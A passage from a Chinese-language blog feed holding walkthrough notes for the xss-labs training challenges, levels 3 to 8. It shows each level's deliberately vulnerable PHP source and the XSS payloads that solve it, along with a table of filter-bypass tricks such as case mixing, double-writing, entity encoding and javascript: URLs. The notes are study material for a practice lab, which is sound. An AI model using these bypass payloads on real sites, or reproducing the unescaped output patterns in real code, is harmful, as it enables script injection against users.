&lt;p&gt;无法使用 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 标签，且常见的 &lt;code&gt;on*&lt;/code&gt; 事件（如 &lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onmouseover&lt;/code&gt;）被 WAF 过滤，但允许修改 &lt;code&gt;type&lt;/code&gt; 属性或 URL 相关的属性。 &lt;strong&gt;攻击原理&lt;/strong&gt;：利用浏览器支持 &lt;code&gt;javascript:&lt;/code&gt; 伪协议的特性，将 JS 代码伪装成链接或表单提交目标。&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;攻击变种&lt;/strong&gt;          | &lt;strong&gt;适用场景 (Condition)&lt;/strong&gt;                           | &lt;strong&gt;构造示例 (Payload)&lt;/strong&gt;                                 | &lt;strong&gt;原理解析&lt;/strong&gt;                                                                                                                         |
| ----------------- | ---------------------------------------------- | -------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
| &lt;strong&gt;表单劫持 (Submit)&lt;/strong&gt; | 这是一个输入框，但你可以改变它的 &lt;code&gt;type&lt;/code&gt; 为 &lt;code&gt;submit&lt;/code&gt;。            | &lt;code&gt;&quot; type=&quot;submit&quot; formaction=&quot;javascript:alert(1)&quot;&lt;/code&gt; | 1. &lt;code&gt;type=&quot;submit&quot;&lt;/code&gt; 把输入框变身成提交按钮。2. &lt;code&gt;formaction&lt;/code&gt; 覆盖了原本 form 的 action 地址。3. 点击按钮 -&gt; 浏览器尝试跳转到 &lt;code&gt;javascript:alert(1)&lt;/code&gt; -&gt; 代码执行。 |
| &lt;strong&gt;图片按钮 (Image)&lt;/strong&gt;  | 另一种将 input 变为按钮的方式 (较老但在部分浏览器有效)。              | &lt;code&gt;&quot; type=&quot;image&quot; src=&quot;javascript:alert(1)&quot;&lt;/code&gt;         | 1. &lt;code&gt;type=&quot;image&quot;&lt;/code&gt; 把它变成图片按钮。2. 点击图片时尝试执行 src 中的伪协议代码。&lt;em&gt;(注：现代浏览器对此防御较严，成功率低于 formaction)&lt;/em&gt;                                   |
| &lt;strong&gt;超链接劫持 (A标签)&lt;/strong&gt;   | &lt;strong&gt;(延伸)&lt;/strong&gt; 如果你的输入是在 &lt;code&gt;&amp;#x3C;a href=&quot;...&quot;&gt;&lt;/code&gt; 中而不是 input。 | &lt;code&gt;&quot; href=&quot;javascript:alert(1)&quot;&lt;/code&gt;                     | 1. 直接闭合前面的引号。2. 点击链接直接触发 JS。&lt;em&gt;(常用于 href 属性注入场景)&lt;/em&gt;                                                                          |&lt;/p&gt;
&lt;h3&gt;绕过过滤&lt;/h3&gt;
&lt;p&gt;对这一关没必要且不适用&lt;/p&gt;
&lt;p&gt;当简单的 &lt;code&gt;onclick&lt;/code&gt; 或 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 被 WAF（防火墙）或后端代码无情地拦截、替换或删除时。&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;技巧 (Technique)&lt;/strong&gt;               | &lt;strong&gt;适用场景 (Condition)&lt;/strong&gt;                                     | &lt;strong&gt;构造示例 (Payload)&lt;/strong&gt;                                                  | &lt;strong&gt;原理解析 &amp;#x26; 评价&lt;/strong&gt;                                                               |
| -------------------------------- | -------------------------------------------------------- | ------------------------------------------------------------------- | --------------------------------------------------------------------------- |
| &lt;strong&gt;大小写绕过&lt;/strong&gt;(Case Sensitivity)  | 后端过滤代码&lt;strong&gt;只匹配小写&lt;/strong&gt;。例如：&lt;code&gt;str_replace(&quot;script&quot;, &quot;&quot;, $str)&lt;/code&gt; | &lt;code&gt;&quot; OnIcK=alert(1) &quot;&amp;#x3C;br&gt;&quot;&gt; &amp;#x3C;ScRiPt&gt;alert(1)&amp;#x3C;/sCrIpT&gt;&lt;/code&gt;                | HTML 对标签和属性&lt;strong&gt;不区分大小写&lt;/strong&gt;，但后端的过滤代码（PHP/Python/Java）可能是区分大小写的。                   |
| &lt;strong&gt;双写绕过&lt;/strong&gt;(Double Writing)     | 后端将敏感词&lt;strong&gt;替换为空&lt;/strong&gt;，且&lt;strong&gt;只替换一次&lt;/strong&gt;。例如：把 &lt;code&gt;script&lt;/code&gt; 替换为 &lt;code&gt;&quot;&quot;&lt;/code&gt;。    | &lt;code&gt;&quot;&gt; &amp;#x3C;scrscriptipt&gt;alert(1)&amp;#x3C;/script&gt;&lt;/code&gt;&lt;code&gt;&quot; oonnfocus=alert(1) &quot;&lt;/code&gt;    | 当中间的 &lt;code&gt;script&lt;/code&gt; 被删掉后，左右剩下的字符自动拼合，正好重新组成了 &lt;code&gt;script&lt;/code&gt;。                            |
| &lt;strong&gt;HTML 实体编码&lt;/strong&gt;(HTML Entity)   | 后端过滤了 &lt;code&gt;alert&lt;/code&gt;、&lt;code&gt;(&lt;/code&gt; 等特殊字符，但没过滤 &lt;code&gt;&amp;#x26;&lt;/code&gt; 和 &lt;code&gt;#&lt;/code&gt;。                  | &lt;code&gt;&quot; onclick=&amp;#x26;#97;lert(1) &quot;&lt;/code&gt;&lt;code&gt;&quot; onclick=alert&amp;#x26;#40;1&amp;#x26;#41; &quot;&lt;/code&gt;        | 浏览器解析顺序：&lt;strong&gt;HTML解码 -&gt; JS执行&lt;/strong&gt;。浏览器看到 &lt;code&gt;&amp;#x26;#97;&lt;/code&gt; 会先把它还原成 &lt;code&gt;a&lt;/code&gt;，然后再交给 JS 引擎执行 &lt;code&gt;alert&lt;/code&gt;。 |
| &lt;strong&gt;空格绕过&lt;/strong&gt;(Space Bypass)       | 后端通过正则过滤了空格 ，导致无法分隔属性。                                   | &lt;code&gt;&quot;onfocus=alert(1)autofocus=&quot;&lt;/code&gt;&lt;code&gt;&quot;type=&quot;text&quot;/onfocus=alert(1)/*&lt;/code&gt; | HTML 解析器允许用 &lt;code&gt;/&lt;/code&gt; (斜杠) 代替空格来分隔属性。                                             |
| &lt;strong&gt;利用伪协议替换&lt;/strong&gt;(Protocol Bypass) | &lt;code&gt;javascript:&lt;/code&gt; 关键字被过滤。                                    | &lt;code&gt;&quot; type=&quot;submit&quot; formaction=&quot;java&amp;#x26;#115;cript:alert(1)&quot;&lt;/code&gt;             | 利用 HTML 实体编码打断关键字，&lt;code&gt;&amp;#x26;#115;&lt;/code&gt; 是 &lt;code&gt;s&lt;/code&gt;，浏览器解码后依然能认出这是 &lt;code&gt;javascript:&lt;/code&gt;。               |
| &lt;strong&gt;等效函数替换&lt;/strong&gt;(Function Sub)     | &lt;code&gt;alert()&lt;/code&gt; 函数被精准封杀。                                       | &lt;code&gt;confirm(1)&lt;/code&gt;&lt;code&gt;prompt(1)&lt;/code&gt;&lt;code&gt;top[&apos;al&apos;+&apos;ert&apos;](1)&lt;/code&gt;                 | 弹窗不一定要用 &lt;code&gt;alert&lt;/code&gt;，&lt;code&gt;confirm&lt;/code&gt; 和 &lt;code&gt;prompt&lt;/code&gt; 也是弹窗。或者利用 JS 的字符串拼接特性绕过关键字检测。          |&lt;/p&gt;
&lt;h2&gt;第三关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level4.php?keyword=try harder!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level3&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level3&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&quot;&amp;#x3C;center&gt;
&amp;#x3C;form action=level3.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&apos;&quot;.htmlspecialchars($str).&quot;&apos;&gt;    
&amp;#x3C;input type=submit name=submit value=搜索 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&quot;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level3.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.还是触发&lt;code&gt;alert&lt;/code&gt; 不多叙述了&lt;/p&gt;
&lt;p&gt;2.可以看到跟第二关一样&lt;code&gt;echo&lt;/code&gt; h2被 转义了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;input name=keyword  value=&apos;&quot;.htmlspecialchars($str).&quot;&apos;&gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是不同的是不像上一关&lt;code&gt;$str&lt;/code&gt; 直接被传入，这一关经过了一层 &lt;code&gt;htmlspecialchars&lt;/code&gt; 转义 &lt;a href=&quot;#htmlspecialchars&quot;&gt;点击这里跳转到 htmlspecialchars&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里我们使用的是其默认不转换单引号的特性，同时题目中也使用 &lt;code&gt;&apos;&lt;/code&gt; 对我们进行了暗示&lt;/p&gt;
&lt;p&gt;剩下内容就和第二关默认的payload相似了&lt;/p&gt;
&lt;p&gt;3.我们可以很简单的构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&apos; onclick=&apos;alert(1) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他属性可以参照&lt;a href=&quot;#input-%E6%A0%87%E7%AD%BE-xss-%E8%A7%A6%E5%8F%91%E5%B1%9E%E6%80%A7%E9%80%9F%E6%9F%A5%E8%A1%A8&quot;&gt;这里&lt;/a&gt; 基本上只有单引号和双引号之间的区别
以及尝试&lt;a href=&quot;#%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%B8%8E%E7%89%B9%E6%AE%8A-type&quot;&gt;伪协议与特殊 Type&lt;/a&gt; 大部分也可以&lt;/p&gt;
&lt;h2&gt;第四关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level5.php?keyword=find a way out!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level4&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level4&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str2=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str);
$str3=str_replace(&quot;&amp;#x3C;&quot;,&quot;&quot;,$str2);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level4.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=搜索 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level4.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str3).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.触发&lt;code&gt;alert&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.只是将&lt;code&gt;&amp;#x3C;&lt;/code&gt; 和&lt;code&gt;&gt;&lt;/code&gt; 给过滤了，并且没有进行转义，可以利用&lt;code&gt;&quot;&lt;/code&gt;  进行闭合，这样就很好办了，可以接着无脑&lt;a href=&quot;#input-%E6%A0%87%E7%AD%BE-xss-%E8%A7%A6%E5%8F%91%E5%B1%9E%E6%80%A7%E9%80%9F%E6%9F%A5%E8%A1%A8&quot;&gt;属性闭环&lt;/a&gt;了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&quot; onclick =&quot;alert(1) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第五关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level6.php?keyword=break it out!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level5&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level5&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;&amp;#x3C;script&quot;,&quot;&amp;#x3C;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level5.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=搜索 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level5.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str3).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.触发&lt;code&gt;alert&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.这里强制把所有大写转换成了小写，证明我们无法使用大小写绕过了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str = strtolower($_GET[&quot;keyword&quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.可以看到这里把&lt;code&gt;&amp;#x3C;script&lt;/code&gt; 替换成了 &lt;code&gt;&amp;#x3C;scr_ipt&lt;/code&gt; 以及 把&lt;code&gt;on&lt;/code&gt; 替换成了 &lt;code&gt;o_n&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str2=str_replace(&quot;&amp;#x3C;script&quot;,&quot;&amp;#x3C;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.这里我们可以结合&lt;a href=&quot;#%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%B8%8E%E7%89%B9%E6%AE%8A-type&quot;&gt;伪协议与特殊 Type&lt;/a&gt; 以及 &lt;a href=&quot;#%E6%A0%87%E7%AD%BE%E9%80%83%E9%80%B8&quot;&gt;标签逃逸&lt;/a&gt;, 我们就可以构造出&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&quot;&gt; &amp;#x3C;a href=&quot;javascript:alert(1)&quot;&gt;点击通关&amp;#x3C;/a&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4.这一关除了上面提到的源码中呈现的大小写替换以及其他替换（例如formaction中on被替换），还有一种类型payload问题在于浏览器的安全机制&lt;/p&gt;
&lt;p&gt;利用图片类的标签，如 &lt;code&gt;&amp;#x3C;input type=&quot;image&quot; src=&quot;javascript:alert(1)&quot;&gt;&lt;/code&gt; 或 &lt;code&gt;&amp;#x3C;img src=&quot;javascript:alert(1)&quot;&gt;&lt;/code&gt;代码成功绕过了所有 PHP 过滤，完整地发给了浏览器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但是&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;浏览器看到标签是 &lt;code&gt;img&lt;/code&gt; 或 &lt;code&gt;input type=&quot;image&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;浏览器认为：“这是一个静态资源（图片），它的 &lt;code&gt;src&lt;/code&gt; 应该是一个 URL 地址。”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;浏览器&lt;strong&gt;禁止&lt;/strong&gt;在图片资源的 &lt;code&gt;src&lt;/code&gt; 属性中执行 JS 代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;浏览器尝试加载这个“图片”，发现加载不出来，于是显示一个裂图图标，&lt;strong&gt;代码并未执行&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;也就是说在现代浏览器中，图片属性的 &lt;code&gt;src&lt;/code&gt; 永远不会执行脚本。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;#x3C;a&gt;&lt;/code&gt;显然成为了最优解。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Xss-labs通关全解&amp;&amp;XSS笔记02</title><link>https://zh.maxtonniu.com/blog/xsslabs02</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/xsslabs02</guid><description>分析以及笔记</description><pubDate>Fri, 26 Dec 2025 18:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。&lt;/p&gt;
&lt;p&gt;我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;第六关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level7.php?keyword=move up!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level6&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level6&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str2=str_replace(&quot;&amp;#x3C;script&quot;,&quot;&amp;#x3C;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level6.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=搜索 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level6.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str6).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.可以看到这里的替换非常多且恐怖&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str2=str_replace(&quot;&amp;#x3C;script&quot;,&quot;&amp;#x3C;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是可以注意到他少了上一关的转化为小写字母，那么就很简单了 &lt;a href=&quot;#%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4&quot;&gt;绕过过滤&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2.我们可以如下构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&quot; Onclick=&quot;alert(1) //对特定关键字随意变换大小写即可
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他的略&lt;/p&gt;
&lt;h2&gt;第七关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level8.php?keyword=nice try!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level7&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level7&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str =strtolower( $_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot;&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;&quot;,$str5);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level7.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=搜索 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level7.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str6).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.可以看到这里是把第六关的大小写漏洞填上了，同时基本上把属性（属性的关键字母）给过滤了（替换成空格）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str =strtolower( $_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot;&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;&quot;,$str5);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.&lt;a href=&quot;#%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4&quot;&gt;绕过过滤&lt;/a&gt; 这样我们就可以考虑 双写绕过&lt;/p&gt;
&lt;p&gt;比如说 &lt;code&gt;script``href&lt;/code&gt; &lt;code&gt;onclick&lt;/code&gt; 等都可以考虑并且使用&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&quot; oonnclick=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意⚠️ 这里的双写绕过不是 ononclick 这样写，这样写几遍都无效的，目的是被空替代，然后让首尾相接&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;第八关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level9.php?keyword=not bad!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level8&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level8&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);
$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;#x26;quot&apos;,$str6);
echo &apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level8.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.htmlspecialchars($str).&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=添加友情链接 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;?php
 echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level8.jpg&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str7).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这一关的过滤基本上把之前的漏洞全填上了，大小写，关键词替换，甚至于&lt;code&gt;&quot;&lt;/code&gt;都被强制转义了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);
$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;#x26;quot&apos;,$str6);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.这一关的注入点不在于这里了原来输入框，而在于下方&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
&lt;/code&gt;&lt;/pre&gt;
